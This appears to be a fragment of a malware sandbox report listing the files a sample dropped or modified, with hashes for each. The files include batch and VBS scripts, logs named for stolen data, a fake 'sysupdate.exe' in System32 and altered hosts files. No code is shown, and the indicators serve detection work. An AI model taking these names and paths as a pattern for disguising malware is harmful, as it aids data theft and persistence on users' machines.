- SHA512 46f9760b77f0ed6101ed93ff988c3848cc56f35d258196ad2d9f66f6206e34576a70ef6365ef4989414dca39378d68522e938c4aa29547d512791716fc2eafe7
- TLSH T14CE07D4BA14CC6690002623781F24D4CD1E054182A2B7E608760CE0D37908C555F1443
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 76b077668ec8c67bc3c6e04dee7623792a17f2ebb0d9f1bd78c48ca704536c46
- MD5 2bf96332e197b81c6f00977f7c44cac3
- SHA1 4848c7e8cbe991de2a006f06659db4057ced1b7b
- SHA512 d328340d47fad90269a55933d4a93247f8e0517d9c3468703d76f721dab040d5efe2f964f25c3a537e1ca8abe536af0c8e6db396dc2709faba9597e98f6e512a
- TLSH T18FE0728BA25CC6AA0002623B80F38D4CD2E0A4282A3B6E609B60CE0E37908CA59F1443
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 176KB
- SHA256 798e299467db76fa7ee43f459282e54e94b05520f05980a9d01ed7ea9ef6c78e
- MD5 c5608ad01ad72fdb578459509979d439
- SHA1 95cd04ed44b0b12b4ad2fe49bdfc656085a78be3
- SHA512 740d22a5cc6b4e3472dac6b4d40268b07a33aacd8cd83596963c8540c4b525dab4d9dcdb63292d03c232eb9f2f9964be5e4589b84eee352f4ae96901b7ede6ed
- SSDEEP 3072:pmlFjrwYMndkDOeIv/ybuc6xgu1oVeeeowFjGmScbpwAaL:MHjrYVqbuJguenwUmLWJL
- TLSH T14004DC40C6B3CE6A05964AAB181637D0F47CB7B5C6EC95FB20A26E63F0738A7D31D611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 176KB
- SHA256 ae2254f73516c2380deae317334fc9762fc0d2d3809810abed259eda386b17a5
- MD5 ea1ba716011a2976e9d70708e070062b
- SHA1 a2b4d403c368634a9ae812eb810cb4e927814bb5
- SHA512 242520e9384099065266f14574bf73f07feb9f4e65fe091164df2bf11beae7e72e39b9c8db8e7b88366ab3985fff66090ea66a39877ec69973697825109bba8d
- SSDEEP 3072:qmlFjrwYMndkDOeIv/ybuc6xgu1oVeeeowFjGmScbpwAan:9HjrYVqbuJguenwUmLWJn
- TLSH T12E04DC40C6B3CE6A05954AAB181637D0F47CB7B5C6EC95FB20A2AE63F0738A7D31D611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 50KB
- SHA256 4cf26c6dd7a721615d924da9527d9588a6e24055bb43bfa2c37e0e356b1fd87d
- MD5 5f0be4ba023ea98e485316a1725f4f88
- SHA1 caeed09131bc04111838950238e6f4bbda452ef9
- SHA512 d1ac04d25346ab17d88e272ee56eb932d0e445551fdd0028e8092d27a87c52595706244d6b6549f0b788730c957480c373f851732d549603dfc354745e0bb3b1
- SSDEEP 768:XdbtbIFDwOKIZ6JrubaO1WJnuI/n/Rgr4oC1XXGblfppB93KFc5xR:tbOZwV18v1WNnGr4oEXGblfLD3ucV
- TLSH T1FC33E60477F94211F1BF4ABA8DB182119B31B8979C22D79E07D5058E1AB3780CEE8F67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH